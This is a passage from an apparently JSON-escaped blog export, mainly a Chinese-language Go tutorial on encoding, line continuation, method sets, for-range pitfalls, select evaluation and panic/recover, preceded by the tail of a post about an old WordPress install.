3.2.1版本，这两年一直未动，目前WordPress版本都4.3.1了。WordPress 3.2.1有很多bug，尤其是其安全漏洞，\u003ca href=\"http://tonybai.com/2015/04/12/fix-hacked-blog-site/\"\u003e今年就被黑过几次\u003c/a\u003e，为此在后台将blog纳入git version管理，这样被黑后就可以很容易恢复。但将版本升级到WordPress新版我还是担心的，主要是担心升级失败，尤其是\u0026gt;数据库表变化较大，担心无法恢复。\u003c/p\u003e","title":"开始使用Markdown写Blog"},{"content":"Go以简洁著称，但简洁中不乏值得玩味的小细节。这些小细节不如goroutine、interface和channel那样\u0026quot;高大上\u0026quot;，\u0026ldquo;屌 丝\u0026quot;得可能不经常被人注意到，但它们却对理解Go语言有着重要的作用。这里想挑出一些和大家一起通过详实的例子来逐一展开和理解。本文内容较为基础，适合初学者，高手可飘过:)\n一、源文件字符集****和字符集编码\nGo源码文件默认采用Unicode字符集，Unicode**码点(code point)和内存中字节序列（byte sequence）**的变换实现使用了UTF-8：一种变长多字节编码，同时也是一种事实字符集编码标准，为Linux、MacOSX 上的默认字符集编码，因此使用Linux或MacOSX进行Go程序开发，你会省去很多字符集转换方面的烦恼。但如果你是在Windows上使用 默认编辑器编辑Go源码文本，当你编译以下代码时会遇到编译错误：\n//hello.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Println(\u0026ldquo;中国人\u0026rdquo;)\n}\n$ go build hello.go\n# command-line-arguments\nhello.go:6 illegal UTF-8 sequence d6 d0\nhello.go:6 illegal UTF-8 sequence b9\nhello.go:6 illegal UTF-8 sequence fa c8\nhello.go:6 illegal UTF-8 sequence cb 22\nhello.go:6 newline in string\nhello.go:7 syntax error: unexpected }, expected )\n这是因为Windows默认采用的是CP936字符集编码，也就是GBK编码，“中国人”三个字的内存字节序列为：\n“d0d6 fab9 cbc8 000a” （通过iconv转换，然后用od -x查看）\n这个字节序列并非utf-8字节序列，Go编译器因此无法识别。要想通过编译，需要将该源文件转换为UTF-8编码格式。\n字符集编码对字符和字符串字面值(Literal)影响最大，在Go中对于字符串我们可以有三种写法：\n字面值 var s = \u0026ldquo;中国人\u0026rdquo;\n码点表示法 var s1 = \u0026ldquo;\\u4e2d\\u56fd\\u4eba\u0026rdquo;\nor\nvar s2 = \u0026ldquo;\\U00004e2d\\U000056fd\\U00004eba\u0026rdquo;\n字节序列表示法（二进制表示法） var s3 = \u0026ldquo;\\xe4\\xb8\\xad\\xe5\\x9b\\xbd\\xe4\\xba\\xba\u0026rdquo;\n这三种表示法中，除字面值转换为字节序列存储时根据编辑器保存的源码文件编码格式之外，其他两种均不受编码格式影响。我们可以通过逐字节输出来查 看字节序列的内容：\nfmt.Println(\u0026ldquo;s byte sequence:\u0026rdquo;)\nfor i := 0; i \u0026lt; len(s); i++ {\nfmt.Printf(\u0026ldquo;0x%x \u0026ldquo;, s[i])\n}\nfmt.Println(\u0026rdquo;\u0026rdquo;)\n二、续行\n良好的代码style一般会要求代码中不能有太long的代码行，否则会影响代码阅读者的体验。在C中有续行符\u0026rdquo;\\\u0026ldquo;专门用于代码续行处理；但在 Go中没有专属续行符，如何续行需要依据Go的语法规则（参见Go spec）。\nGo与C一样，都是以分号(\u0026rdquo;;\u0026quot;)作为语句结束的标识。不过大多数情况下，分号无需程序员手工输入，而是由编译器自动识别语句结束位置，并插入 分号。因此续行要选择合法的位置。下面代码展示了一些合法的续行位置：(别嫌太丑，这里仅仅是展示合法位置的demo)\n//details-in-go/2/newline.go\n… …\nvar (\ns = \u0026ldquo;This is an example about code newline,\u0026rdquo; +\n\u0026ldquo;for string as right value\u0026rdquo;\nd = 5 + 4 + 7 +\n4\na = [\u0026hellip;]int{5, 6, 7,\n8}\nm = make(map[string]int,\n100)\nc struct {\nm1 string\nm2, m3 int\nm4 *float64\n}\nf func(int,\nfloat32) (int,\nerror)\n)\nfunc foo(int, int) (string, error) {\nreturn \u0026ldquo;\u0026rdquo;,\nnil\n}\nfunc main() {\nif i := d; i \u0026gt;\n100 {\n}\nvar sum int\nfor i := 0; i \u0026lt; 100; i = i +\n1 {\nsum += i\n}\nfoo(1,\n6)\nvar i int\nfmt.Printf(\u0026quot;%s, %d\\n\u0026quot;,\n\u0026ldquo;this is a demo\u0026rdquo;+\n\u0026quot; of fmt Printf\u0026quot;,\ni)\n}\n实际编码中，我们可能经常遇到的是fmt.Printf系列方法中format string太长的情况，但由于Go不支持相邻字符串自动连接(concatenate)，只能通过+来连接fmt字符串，且+必须放在前一行末尾。另外Gofmt工具会自动调整一些不合理的续行处理，主要针对 for, if等控制语句。\n三、Method Set\nMethod Set是Go语法中一个重要的隐式概念，在为interface变量做动态类型赋值、embeding struct/interface、type alias、method expression时都会用到Method Set这个重要概念。\n1、interface的Method Set\n根据Go spec，interface类型的Method Set就是其interface（An interface type specifies a method set called its interface）。\ntype I interface {\nMethod1()\nMethod2()\n}\nI的Method Set包含的就是其literal中的两个方法：Method1和Method2。我们可以通过reflect来获取interface类型的 Method Set：\n//details-in-go/3/interfacemethodset.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;reflect\u0026rdquo;\n)\ntype I interface {\nMethod1()\nMethod2()\n}\nfunc main() {\nvar i *I\nelemType := reflect.TypeOf(i).Elem()\nn := elemType.NumMethod()\nfor i := 0; i \u0026lt; n; i++ {\nfmt.Println(elemType.Method(i).Name)\n}\n}\n运行结果：\n$go run interfacemethodset.go\nMethod1\nMethod2\n2、除interface type外的类型的Method Set\n对于非interface type的类型T，其Method Set为所有receiver为T类型的方法组成；而类型*T的Method Set则包含所有receiver为T和*T类型的方法。\n// details-in-go/3/othertypemethodset.go\npackage main\nimport \u0026ldquo;./utils\u0026rdquo;\ntype T struct {\n}\nfunc (t T) Method1() {\n}\nfunc (t *T) Method2() {\n}\nfunc (t *T) Method3() {\n}\nfunc main() {\nvar t T\nutils.DumpMethodSet(\u0026amp;t)\nvar pt *T\nutils.DumpMethodSet(\u0026amp;pt)\n}\n我们要dump出T和*T各自的Method Set，运行结果如下：\n$go run othertypemethodset.go\nmain.T\u0026rsquo;s method sets:\nMethod1\n*main.T\u0026rsquo;s method sets:\nMethod1\nMethod2\nMethod3\n可以看出类型T的Method set仅包含一个receiver类型为T的方法：Method1，而*T的Method Set则包含了T的Method Set以及所有receiver类型为*T的Method。\n如果此时我们有一个interface type如下：\ntype I interface {\nMethod1()\nMethod2()\n}\n那下面哪个赋值语句合法呢？合不合法完全依赖于右值类型是否实现了interface type I的所有方法，即右值类型的Method Set是否包含了I的 所有方法。\nvar t T\nvar pt *T\nvar i I = t\nor\nvar i I = pt\n编译错误告诉我们：\nvar i I = t // cannot use t (type T) as type I in assignment:\nT does not implement I (Method2 method has pointer receiver)\nT的Method Set中只有Method1一个方法，没有实现I接口中的 Method2，因此不能用t赋值给i；而*T实现了I的所有接口，赋值合 法。不过Method set校验仅限于在赋值给interface变量时进行，无论是T还是*T类型的方法集中的方法，对于T或*T类型变量都是可见且可以调用的，如下面代码 都是合法的：\npt.Method1()\nt.Method3()\n因为Go编译器会自动为你的代码做receiver转换：\npt.Method1() \u0026lt;=\u0026gt; (*pt).Method1()\nt.Method3() \u0026lt;=\u0026gt; (\u0026amp;t).Method3()\n很多人纠结于method定义时receiver的类型（T or *T），个人觉得有两点考虑：\n效率\nGo方法调用receiver是以传值的形式传入方法中的。如果类型size较大，以value形式传入消耗较大，这时指针类型就是首选。\n是否赋值给interface变量、以什么形式赋值\n就像本节所描述的，由于T和*T的Method Set可能不同，我们在设计Method receiver type时需要考虑在interface赋值时通过对Method set的校验。\n3、embeding type的Method Set\n【interface embeding】\n我们先来看看interface类型embeding。例子如下：\n//details-in-go/3/embedinginterface.go\npackage main\nimport \u0026ldquo;./utils\u0026rdquo;\ntype I1 interface {\nI1Method1()\nI1Method2()\n}\ntype I2 interface {\nI2Method()\n}\ntype I3 interface {\nI1\nI2\n}\nfunc main() {\nutils.DumpMethodSet((*I1)(nil))\nutils.DumpMethodSet((*I2)(nil))\nutils.DumpMethodSet((*I3)(nil))\n}\n$go run embedinginterface.go\nmain.I1\u0026rsquo;s method sets:\nI1Method1\nI1Method2\nmain.I2\u0026rsquo;s method sets:\nI2Method\nmain.I3\u0026rsquo;s method sets:\nI1Method1\nI1Method2\nI2Method\n可以看出嵌入interface type的interface type I3的Method Set包含了被嵌入的interface type：I1和I2的Method Set。很多情况下，我们Go的interface type中仅包含有少量方法，常常仅是一个Method，通过interface type embeding来定义一个新interface，这是Go的一个惯用法，比如我们常用的io包中的Reader, Writer以及ReadWriter接口：\ntype Reader interface {\nRead(p []byte) (n int, err error)\n}\ntype Writer interface {\nWrite(p []byte) (n int, err error)\n}\ntype ReadWriter interface {\nReader\nWriter\n}\n【struct embeding interface】\n在struct中嵌入interface type后，struct的Method Set中将包含interface的Method Set：\ntype T struct {\nI1\n}\nfunc (T) Method1() {\n}\n… …\nfunc main() {\n… …\nvar t T\nutils.DumpMethodSet(\u0026amp;t)\nvar pt = \u0026amp;T{\nI1: I1Impl{},\n}\nutils.DumpMethodSet(\u0026amp;pt)\n}\n输出结果与预期一致：\nmain.T\u0026rsquo;s method sets:\nI1Method1\nI1Method2\nMethod1\n*main.T\u0026rsquo;s method sets:\nI1Method1\nI1Method2\nMethod1\n【struct embeding struct】\n在struct中embeding struct提供了一种“继承”的手段，外部的Struct可以“继承”嵌入struct的所有方法（无论receiver是T还是*T类型）实现，但 Method Set可能会略有不同。看下面例子：\n//details-in-go/3/embedingstructinstruct.go\npackage main\nimport \u0026ldquo;./utils\u0026rdquo;\ntype T struct {\n}\nfunc (T) InstMethod1OfT() {\n}\nfunc (T) InstMethod2OfT() {\n}\nfunc (*T) PtrMethodOfT() {\n}\ntype S struct {\n}\nfunc (S) InstMethodOfS() {\n}\nfunc (*S) PtrMethodOfS() {\n}\ntype C struct {\nT\n*S\n}\nfunc main() {\nvar c = C{S: \u0026amp;S{}}\nutils.DumpMethodSet(\u0026amp;c)\nvar pc = \u0026amp;C{S: \u0026amp;S{}}\nutils.DumpMethodSet(\u0026amp;pc)\nc.InstMethod1OfT()\nc.PtrMethodOfT()\nc.InstMethodOfS()\nc.PtrMethodOfS()\npc.InstMethod1OfT()\npc.PtrMethodOfT()\npc.InstMethodOfS()\npc.PtrMethodOfS()\n}\n$go run embedingstructinstruct.go\nmain.C\u0026rsquo;s method sets:\nInstMethod1OfT\nInstMethod2OfT\nInstMethodOfS\nPtrMethodOfS\n*main.C\u0026rsquo;s method sets:\nInstMethod1OfT\nInstMethod2OfT\nInstMethodOfS\nPtrMethodOfS\nPtrMethodOfT\n可以看出：\n类型C的Method Set = T的Method Set + *S的Method Set\n类型*C的Method Set = *T的Method Set + *S的Method Set\n同时通过例子可以看出，无论是T还是*S的方法，C或*C类型变量均可调用（编译器甜头），不会被局限在Method Set中。\n4、alias type的Method Set\nGo支持为已有类型定义alias type，如：\ntype MyInterface I\ntype Mystruct T\n对于alias type, Method Set是如何定义的呢？我们看下面例子：\n//details-in-go/3/aliastypemethodset.go\npackage main\nimport \u0026ldquo;./utils\u0026rdquo;\ntype I interface {\nIMethod1()\nIMethod2()\n}\ntype T struct {\n}\nfunc (T) InstMethod() {\n}\nfunc (*T) PtrMethod() {\n}\ntype MyInterface I\ntype MyStruct T\nfunc main() {\nutils.DumpMethodSet((*I)(nil))\nvar t T\nutils.DumpMethodSet(\u0026amp;t)\nvar pt = \u0026amp;T{}\nutils.DumpMethodSet(\u0026amp;pt)\nutils.DumpMethodSet((*MyInterface)(nil))\nvar m MyStruct\nutils.DumpMethodSet(\u0026amp;m)\nvar pm = \u0026amp;MyStruct{}\nutils.DumpMethodSet(\u0026amp;pm)\n}\n$go run aliastypemethodset.go\nmain.I\u0026rsquo;s method sets:\nIMethod1\nIMethod2\nmain.T\u0026rsquo;s method sets:\nInstMethod\n*main.T\u0026rsquo;s method sets:\nInstMethod\nPtrMethod\nmain.MyInterface\u0026rsquo;s method sets:\nIMethod1\nIMethod2\nmain.MyStruct\u0026rsquo;s method set is empty!\n*main.MyStruct\u0026rsquo;s method set is empty!\n从例子的结果上来看，Go对于interface和struct的alias type给出了“不一致”的结果：\nMyInterface的Method Set与接口类型I Method Set一致；\n而MyStruct并未得到T的哪怕一个Method，MyStruct的Method Set为空。\n四、Method Type、Method Expression、Method Value\nGo中没有class，方法与对象通过receiver联系在一起，我们可以为任何非builtin类型定义method：\ntype T struct {\na int\n}\nfunc (t T) Get() int { return t.a }\nfunc (t *T) Set(a int) int { t.a = a; return t.a }\n在C++等OO语言中，对象在调用方法时，编译器会自动在方法的第一个参数中传入this/self指针，而对于Go来 说，receiver也是同样道理，将T的method转换为普通function定义：\nfunc Get(t T) int { return t.a }\nfunc Set(t *T, a int) int { t.a = a; return t.a }\n这种function形式被称为Method Type，也可以称为Method的signature。\nMethod的一般使用方式如下：\nvar t T\nt.Get()\nt.Set(1)\n不过我们也可以像普通function那样使用它，根据上面的Method Type定义：\nvar t T\nT.Get(t)\n(*T).Set(\u0026amp;t, 1)\n这种以直接以类型名T调用方法M的表达方法称为Method Expression。类型T只能调用T的Method Set中的方法；同理*T只能调用*T的Method Set中的方法。上述例子中T的Method Set中只有Get，因此T.Get是合法的。但T.Set则不合法：\nT.Set(2) //invalid method expression T.Set (needs pointer receiver: (*T).Set)\n我们只能使用(*T).Set(\u0026amp;t, 11)。\n这样看来Method Expression有些类似于C++中的static方法(以该类的某个对象实例作为第一个参数)。\n另外Method express自身类型就是一个普通function，可以作为右值赋值给一个函数类型的变量：\nf1 := (*T).Set //函数类型：func (t *T, int)int\nf2 := T.Get //函数类型：func(t T)int\nf1(\u0026amp;t, 3)\nfmt.Println(f2(t))\nGo中还定义了一种与Method有关的语法：如果一个表达式t具有静态类型T，M是T的Method Set中的一个方法，那么t.M即为Method Value。注意这里是t.M而不是T.M。\nf3 := (\u0026amp;t).Set //函数类型：func(int)int\nf3(4)\nf4 := t.Get//函数类型：func()int fmt.Println(f4())\n可以看出，Method value与Method Expression不同之处在于，Method value绑定了T对象实例，它的函数原型并不包含Method Expression函数原型中的第一个参数。完整例子参见：details-in-go/4/methodexpressionandmethodvalue.go。\n五、for range**“坑”大阅兵**\nfor range的引入提升了Go的表达能力，但for range显然不是”免费的午餐“，在享用这个美味前，需要搞清楚for range的一些坑。\n1、iteration variable重用\nfor range的idiomatic的使用方式是使用short variable declaration（:=）形式在for expression中声明iteration variable，但需要注意的是这些variable在每次循环体中都会被重用，而不是重新声明。\n//details-in-go/5/iterationvariable.go\n… …\nvar m = [\u0026hellip;]int{1, 2, 3, 4, 5}\nfor i, v := range m {\ngo func() {\ntime.Sleep(time.Second * 3)\nfmt.Println(i, v)\n}()\n}\ntime.Sleep(time.Second * 10)\n… …\n在我的Mac上，输出结果如下：\n$go run iterationvariable.go\n4 5\n4 5\n4 5\n4 5\n4 5\n各个goroutine中输出的i,v值都是for range循环结束后的i, v最终值，而不是各个goroutine启动时的i, v值。一个可行的fix方法：\nfor i, v := range m {\ngo func(i, v int) {\ntime.Sleep(time.Second * 3)\nfmt.Println(i, v)\n}(i, v)\n}\n2、range expression副本参与iteration\nrange后面接受的表达式的类型包括：array, pointer to array, slice, string, map和channel(有读权限的)。我们以array为例来看一个简单的例子：\n//details-in-go/5/arrayrangeexpression.go\nfunc arrayRangeExpression() {\nvar a = [5]int{1, 2, 3, 4, 5}\nvar r [5]int\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\nfor i, v := range a {\nif i == 0 {\na[1] = 12\na[2] = 13\n}\nr[i] = v\n}\nfmt.Println(\u0026ldquo;r = \u0026ldquo;, r)\n}\n我们期待输出结果：\na = [1 2 3 4 5]\nr = [1 12 13 4 5]\na = [1 12 13 4 5]\n但实际输出结果却是：\na = [1 2 3 4 5]\nr = [1 2 3 4 5]\na = [1 12 13 4 5]\n我们原以为在第一次iteration，也就是i = 0时，我们对a的修改(a[1] = 12，a[2] = 13)会在第二次、第三次循环中被v取出，但结果却是v取出的依旧是a被修改前的值：2和3。这就是for range的一个不大不小的坑：range expression副本参与循环。也就是说在上面这个例子里，真正参与循环的是a的副本，而不是真正的a，伪代码如 下：\nfor i, v := range a**\u0026rsquo;** {//a\u0026rsquo; is copy from a\nif i == 0 {\na[1] = 12\na[2] = 13\n}\nr[i] = v\n}\nGo中的数组在内部表示为连续的字节序列，虽然长度是Go数组类型的一部分，但长度并不包含的数组的内部表示中，而是由编译器在编译期计算出 来。这个例子中，对range表达式的拷贝，即对一个数组的拷贝，a\u0026rsquo;则是Go临时分配的连续字节序列，与a完全不是一块内存。因此无论a被 如何修改，其副本a\u0026rsquo;依旧保持原值，并且参与循环的是a\u0026rsquo;，因此v从a\u0026rsquo;中取出的仍旧是a的原值，而非修改后的值。\n我们再来试试pointer to array：\nfunc pointerToArrayRangeExpression() {\nvar a = [5]int{1, 2, 3, 4, 5}\nvar r [5]int\nfmt.Println(\u0026ldquo;pointerToArrayRangeExpression result:\u0026rdquo;)\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\nfor i, v := range \u0026amp;a {\nif i == 0 {\na[1] = 12\na[2] = 13\n}\nr[i] = v\n}\nfmt.Println(\u0026ldquo;r = \u0026ldquo;, r)\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\nfmt.Println(\u0026rdquo;\u0026rdquo;)\n}\n这回的输出结果如下：\npointerToArrayRangeExpression result:\na = [1 2 3 4 5]\nr = [1 12 13 4 5]\na = [1 12 13 4 5]\n我们看到这次r数组的值与最终a被修改后的值一致了。这个例子中我们使用了*[5]int作为range表达式，其副本依旧是一个指向原数组 a的指针，因此后续所有循环中均是\u0026amp;a指向的原数组亲自参与的，因此v能从\u0026amp;a指向的原数组中取出a修改后的值。\nidiomatic go建议我们尽可能的用slice替换掉array的使用，这里用slice能否实现预期的目标呢？我们来试试：\nfunc sliceRangeExpression() {\nvar a = [5]int{1, 2, 3, 4, 5}\nvar r [5]int\nfmt.Println(\u0026ldquo;sliceRangeExpression result:\u0026rdquo;)\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\nfor i, v := range a[:] {\nif i == 0 {\na[1] = 12\na[2] = 13\n}\nr[i] = v\n}\nfmt.Println(\u0026ldquo;r = \u0026ldquo;, r)\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\nfmt.Println(\u0026rdquo;\u0026rdquo;)\n}\npointerToArrayRangeExpression result:\na = [1 2 3 4 5]\nr = [1 12 13 4 5]\na = [1 12 13 4 5]\n显然用slice也能实现预期要求。我们可以分析一下slice是如何做到的。slice在go的内部表示为一个struct，由(*T, len, cap)组成，其中*T指向slice对应的underlying array的指针，len是slice当前长度，cap为slice的最大容量。当range进行expression复制时，它实际上复制的是一个 slice，也就是那个struct。副本struct中的*T依旧指向原slice对应的array，为此对slice的修改都反映到 underlying array a上去了，v从副本struct中*T指向的underlying array中获取数组元素，也就得到了被修改后的元素值。\nslice与array还有一个不同点，就是其len在运行时可以被改变，而array的len是一个常量，不可改变。那么len变化的 slice对for range有何影响呢？我们继续看一个例子：\nfunc sliceLenChangeRangeExpression() {\nvar a = []int{1, 2, 3, 4, 5}\nvar r = make([]int, 0)\nfmt.Println(\u0026ldquo;sliceLenChangeRangeExpression result:\u0026rdquo;)\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\nfor i, v := range a {\nif i == 0 {\na = append(a, 6, 7)\n}\nr = append(r, v)\n}\nfmt.Println(\u0026ldquo;r = \u0026ldquo;, r)\nfmt.Println(\u0026ldquo;a = \u0026ldquo;, a)\n}\n输出结果：\na = [1 2 3 4 5]\nr = [1 2 3 4 5]\na = [1 2 3 4 5 6 7]\n在这个例子中，原slice a在for range过程中被附加了两个元素6和7，其len由5增加到7，但这对于r却没有产生影响。这里的原因就在于a的副本a\u0026rsquo;的内部表示struct中的 len字段并没有改变，依旧是5，因此for range只会循环5次，也就只获取a对应的underlying数组的前5个元素。\nrange的副本行为会带来一些性能上的消耗，尤其是当range expression的类型为数组时，range需要复制整个数组；而当range expression类型为pointer to array或slice时，这个消耗将小得多，仅仅需要复制一个指针或一个slice的内部表示（一个struct）即可。我们可以通过 benchmark test来看一下三种情况的消耗情况对比：\n对于元素个数为100的int数组或slice，测试结果如下：\n//details-in-go/5/arraybenchmark\ngo test -bench=.\ntesting: warning: no tests to run\nPASS\nBenchmarkArrayRangeLoop-4 20000000 116 ns/op\nBenchmarkPointerToArrayRangeLoop-4 20000000 64.5 ns/op\nBenchmarkSliceRangeLoop-4 20000000 70.9 ns/op\n可以看到range expression类型为slice或pointer to array的性能相近，消耗都近乎是数组类型的1/2。\n3、其他r****ange expression类型\n对于range后面的其他表达式类型，比如string, map, channel，for range依旧会制作副本。\n【string】\n对string来说，由于string的内部表示为struct {*byte, len)，并且string本身是immutable的，因此其行为和消耗和slice expression类似。不过for range对于string来说，每次循环的单位是rune(code point的值)，而不是byte，index为迭代字符码点的第一个字节的position：\nvar s = \u0026ldquo;中国人\u0026rdquo;\nfor i, v := range s {\nfmt.Printf(\u0026quot;%d %s 0x%x\\n\u0026rdquo;, i, string(v), v)\n}\n输出结果：\n0 中 0x4e2d\n3 国 0x56fd\n6 人 0x4eba\n如果s中存在非法utf8字节序列，那么v将返回0xFFFD这个特殊值，并且在接下来一轮循环中，v将仅前进一个字节：\n//byte sequence of s: 0xe4 0xb8 0xad 0xe5 0x9b 0xbd 0xe4 0xba 0xba\nvar sl = []byte{0xe4, 0xb8, 0xad, 0xe5, 0x9b, 0xbd, 0xe4, 0xba, 0xba}\nfor _, v := range sl {\nfmt.Printf(\u0026ldquo;0x%x \u0026ldquo;, v)\n}\nfmt.Println(\u0026rdquo;\\n\u0026rdquo;)\nsl[3] = 0xd0\nsl[4] = 0xd6\nsl[5] = 0xb9\nfor i, v := range string(sl) {\nfmt.Printf(\u0026quot;%d %x\\n\u0026rdquo;, i, v)\n}\n输出结果：\n0xe4 0xb8 0xad 0xe5 0x9b 0xbd 0xe4 0xba 0xba\n0 4e2d\n3 fffd\n4 5b9\n6 4eba\n以上例子源码在details-in-go/5/stringrangeexpression.go中可以找到。\n【map】\n对于map来说，map内部表示为一个指针，指针副本也指向真实map，因此for range操作均操作的是源map。\nfor range不保证每次迭代的元素次序，对于下面代码：\nvar m = map[string]int{\n\u0026ldquo;tony\u0026rdquo;: 21,\n\u0026ldquo;tom\u0026rdquo;: 22,\n\u0026ldquo;jim\u0026rdquo;: 23,\n}\nfor k, v := range m {\nfmt.Println(k, v)\n}\n输出结果可能是：\ntom 22\njim 23\ntony 21\n也可能是：\ntony 21\ntom 22\njim 23\n或其他可能。\n如果map中的某项在循环到达前被在循环体中删除了，那么它将不会被iteration variable获取到。\ncounter := 0\nfor k, v := range m {\nif counter == 0 {\ndelete(m, \u0026ldquo;tony\u0026rdquo;)\n}\ncounter++\nfmt.Println(k, v)\n}\nfmt.Println(\u0026ldquo;counter is \u0026ldquo;, counter)\n反复运行多次，我们得到的两个结果：\ntony 21\ntom 22\njim 23\ncounter is 3\ntom 22\njim 23\ncounter is 2\n如果在循环体中新创建一个map元素项，那该项元素可能出现在后续循环中，也可能不出现：\nm[\u0026ldquo;tony\u0026rdquo;] = 21\ncounter = 0\nfor k, v := range m {\nif counter == 0 {\nm[\u0026ldquo;lucy\u0026rdquo;] = 24\n}\ncounter++\nfmt.Println(k, v)\n}\nfmt.Println(\u0026ldquo;counter is \u0026ldquo;, counter)\n执行结果：\ntony 21\ntom 22\njim 23\nlucy 24\ncounter is 4\nor\ntony 21\ntom 22\njim 23\ncounter is 3\n以上代码可以在details-in-go/5/maprangeexpression.go中可以找到。\n【channel】\n对于channel来说，channel内部表示为一个指针，channel的指针副本也指向真实channel。\nfor range最终以阻塞读的方式阻塞在channel expression上（即便是buffered channel，当channel中无数据时，for range也会阻塞在channel上），直到channel关闭：\n//details-in-go/5/channelrangeexpression.go\nfunc main() {\nvar c = make(chan int)\ngo func() {\ntime.Sleep(time.Second * 3)\nc \u0026lt;- 1\nc \u0026lt;- 2\nc \u0026lt;- 3\nclose(c)\n}()\nfor v := range c {\nfmt.Println(v)\n}\n}\n运行结果：\n1\n2\n3\n如果channel变量为nil，则for range将永远阻塞。\n六、select求值\ngolang引入的select为我们提供了一种在多个channel间实现“多路复用”的一种机制。select的运行机制这里不赘述，但select的case expression的求值顺序我们倒是要通过一个例子来了解一下：\n// details-in-go/6/select.go\nfunc takeARecvChannel() chan int {\nfmt.Println(\u0026ldquo;invoke takeARecvChannel\u0026rdquo;)\nc := make(chan int)\ngo func() {\ntime.Sleep(3 * time.Second)\nc \u0026lt;- 1\n}()\nreturn c\n}\nfunc getAStorageArr() *[5]int {\nfmt.Println(\u0026ldquo;invoke getAStorageArr\u0026rdquo;)\nvar a [5]int\nreturn \u0026amp;a\n}\nfunc takeASendChannel() chan int {\nfmt.Println(\u0026ldquo;invoke takeASendChannel\u0026rdquo;)\nreturn make(chan int)\n}\nfunc getANumToChannel() int {\nfmt.Println(\u0026ldquo;invoke getANumToChannel\u0026rdquo;)\nreturn 2\n}\nfunc main() {\nselect {\n//recv channels\ncase (getAStorageArr())[0] = \u0026lt;-takeARecvChannel():\nfmt.Println(\u0026ldquo;recv something from a recv channel\u0026rdquo;)\n//send channels\ncase takeASendChannel() \u0026lt;- getANumToChannel():\nfmt.Println(\u0026ldquo;send something to a send channel\u0026rdquo;)\n}\n}\n运行结果：\n$go run select.go\ninvoke takeARecvChannel\ninvoke takeASendChannel\ninvoke getANumToChannel\ninvoke getAStorageArr\nrecv something from a recv channel\n通过例子我们可以看出：\nselect执行开始时，首先所有case expression的表达式都会被求值一遍，按语法先后次序。 invoke takeARecvChannel\ninvoke takeASendChannel\ninvoke getANumToChannel\n例外的是recv channel的位于赋值等号左边的表达式（这里是：(getAStorageArr())[0]）不会被求值。\n如果选择要执行的case是一个recv channel，那么它的赋值等号左边的表达式会被求值：如例子中当goroutine 3s后向recvchan写入一个int值后，select选择了recv channel执行，此时对=左侧的表达式 (getAStorageArr())[0] 开始求值，输出“invoke getAStorageArr”。 七、panic的recover****过程\nGo没有提供“try-catch-finally”这样的异常处理设施，而仅仅提供了panic和recover，其中recover还要结合 defer使用。最初这也是被一些人诟病的点。但和错误码返回值一样，渐渐的大家似乎适应了这些，征讨之声渐稀，即便有也是排在“缺少generics” 之后了。\n【panicking】\n在没有recover的时候，一旦panic发生，panic会按既定顺序结束当前进程，这一过程成为panicking。下面的例子模拟了这一过程：\n//details-in-go/7/panicking.go\n… …\nfunc foo() {\ndefer func() {\nfmt.Println(\u0026ldquo;foo defer func invoked\u0026rdquo;)\n}()\nfmt.Println(\u0026ldquo;foo invoked\u0026rdquo;)\nbar()\nfmt.Println(\u0026ldquo;do something after bar in foo\u0026rdquo;)\n}\nfunc bar() {\ndefer func() {\nfmt.Println(\u0026ldquo;bar defer func invoked\u0026rdquo;)\n}()\nfmt.Println(\u0026ldquo;bar invoked\u0026rdquo;)\nzoo()\nfmt.Println(\u0026ldquo;do something after zoo in bar\u0026rdquo;)\n}\nfunc zoo() {\ndefer func() {\nfmt.Println(\u0026ldquo;zoo defer func invoked\u0026rdquo;)\n}()\nfmt.Println(\u0026ldquo;zoo invoked\u0026rdquo;)\npanic(\u0026ldquo;runtime exception\u0026rdquo;)\n}\nfunc main() {\nfoo()\n}\n执行结果：\n$go run panicking.go\nfoo invoked\nbar invoked\nzoo invoked\nzoo defer func invoked\nbar defer func invoked\nfoo defer func invoked\npanic: runtime exception\ngoroutine 1 [running]:\n… …\nexit status 2\n从结果可以看出：\npanic在zoo中发生，在zoo真正退出前，zoo中注册的defer函数会被逐一执行(FILO)，由于zoo defer中没有捕捉panic，因此panic被抛向其caller：bar。\n这时对于bar而言，其函数体中的zoo的调用就好像变成了panic调用似的，zoo有些类似于“黑客帝国3”中里奥被史密斯(panic)感 染似的，也变成了史密斯(panic)。panic在bar中扩展开来，bar中的defer也没有捕捉和recover panic，因此在bar中的defer func执行完毕后，panic继续抛给bar的caller: foo；\n这时对于foo而言，bar就变成了panic，同理，最终foo将panic抛给了main\nmain与上述函数一样，没有recover，直接异常返回，导致进程异常退出。 【recover】\nrecover只有在defer函数中调用才能起到recover的作用，这样recover就和defer函数有了紧密联系。我们在zoo的defer函数中捕捉并recover这个panic：\n//details-in-go/7/recover.go\n… …\nfunc zoo() {\ndefer func() {\nfmt.Println(\u0026ldquo;zoo defer func1 invoked\u0026rdquo;)\n}()\ndefer func() {\nif x := recover(); x != nil {\nlog.Printf(\u0026ldquo;recover panic: %v in zoo recover defer func\u0026rdquo;, x)\n}\n}()\ndefer func() {\nfmt.Println(\u0026ldquo;zoo defer func2 invoked\u0026rdquo;)\n}()\nfmt.Println(\u0026ldquo;zoo invoked\u0026rdquo;)\npanic(\u0026ldquo;zoo runtime exception\u0026rdquo;)\n}\n… …\n这回的执行结果如下：\n$go run recover.go\nfoo invoked\nbar invoked\nzoo invoked\nzoo defer func2 invoked\n2015/09/17 16:28:00 recover panic: zoo runtime exception in zoo recover defer func\nzoo defer func1 invoked\ndo something after zoo in bar\nbar defer func invoked\ndo something after bar in foo\nfoo defer func invoked\n由于zoo在defer里恢复了panic，这样在zoo返回后，bar不会感知到任何异常，将按正常逻辑输出函数执行内容，比如：“do something after zoo in bar”,以此类推。\n但若如果在zoo defer func中recover panic后，又raise another panic，那么zoo对于bar来说就又会变成panic了。\nLast、参考资料\n1、The Go Programming Language Specification (Version of August 5, 2015，Go 1.5)；\n2、Effective Go (Go 1.5)；\n3、Rob Pike： Go Course Day 1~3。\n本文实验环境：Go 1.5 